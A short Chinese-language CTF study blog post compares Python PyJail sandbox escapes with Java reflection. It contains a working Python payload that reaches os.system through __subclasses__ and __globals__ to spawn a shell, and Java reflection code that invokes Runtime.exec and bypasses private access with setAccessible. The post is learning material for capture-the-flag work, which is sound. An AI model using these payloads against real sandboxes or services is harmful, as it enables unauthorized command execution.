308 字
1 分钟
学一下 Java 反射
书接上回 PyJail 自动获取索引。
比方说现在有一个license.__class__.__base__.__subclasses__()[155].__init__.__globals__['system']('sh')
但是这个155需要先dir(license.__class__.__base__.__subclasses__())才知道,或者二分法拿到<class 'os._wrap_close'>,有没有更好的方法呢?
可以用推导式,动态获取索引,payload如下:
[x for x in license.__class__.__base__.__subclasses__() if x.__name__ == '_wrap_close'][0].__init__.__globals__['system']('sh')那么 Java 反射实际上和 PyJail 有一定相似性。
| 步骤 | Python PyJail | Java 反射 |
|---|---|---|
| 1. 获取类对象 | license.__class__ (通过实例找类) | obj.getClass() 或 Class.forName("java.lang.Runtime") |
| 2. 寻找目标 | __subclasses__()(遍历所有子类找 gadgets) | getMethod("exec", ...) (直接按名字和参数类型找方法) |
| 3. 实例化/获取单例 | __init__ (调用构造函数) | constructor.newInstance() 或 静态方法 getRuntime() |
| 4. 获取权限 | Python 通常没有真正的 Private 强制限制,直接引用即可 | setAccessible(true) (强制访问 private 方法/属性) |
| 5. 执行命令 | __globals__['system']('sh') | method.invoke(obj, "sh") |
举个例子
想执行 calc.exe (或 sh),如果可以直接写:
Runtime.getRuntime().exec("calc");但在 CTF(如 Java 反射题、反序列化漏洞、SSTI)中,一般无法直接调用,只能通过反射:
// 1. 获取 Runtime 类(类似于 Python 里的 __class__)Class clazz = Class.forName("java.lang.Runtime");
// 2. 获取 getRuntime 方法(Runtime 是单例模式,构造函数是私有的,所以要拿静态方法)// 对应 Python 里的 getattrjava.lang.reflect.Method getRuntimeMethod = clazz.getMethod("getRuntime");
// 3. 获取 exec 方法,它接受一个 String 参数java.lang.reflect.Method execMethod = clazz.getMethod("exec", String.class);
// 4. 调用 getRuntime 方法得到实例(相当于 Python 的实例化)Object runtimeInstance = getRuntimeMethod.invoke(null);
// 5. 调用 exec 方法执行命令(相当于 Python 的最后一步调用)execMethod.invoke(runtimeInstance, "calc");setAccessible(true)
在 Python 里, _private 是不强制的;但在 Java 里,private 是强制的。如果访问一个私有属性或方法,JVM 会报错。
但是,反射API提供了一个方法,
// 获取一个私有构造函数Constructor c = clazz.getDeclaredConstructor();
// 运训访问c.setAccessible(true);
// 现在可以实例化了c.newInstance(); 分享
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时
相关文章 智能推荐









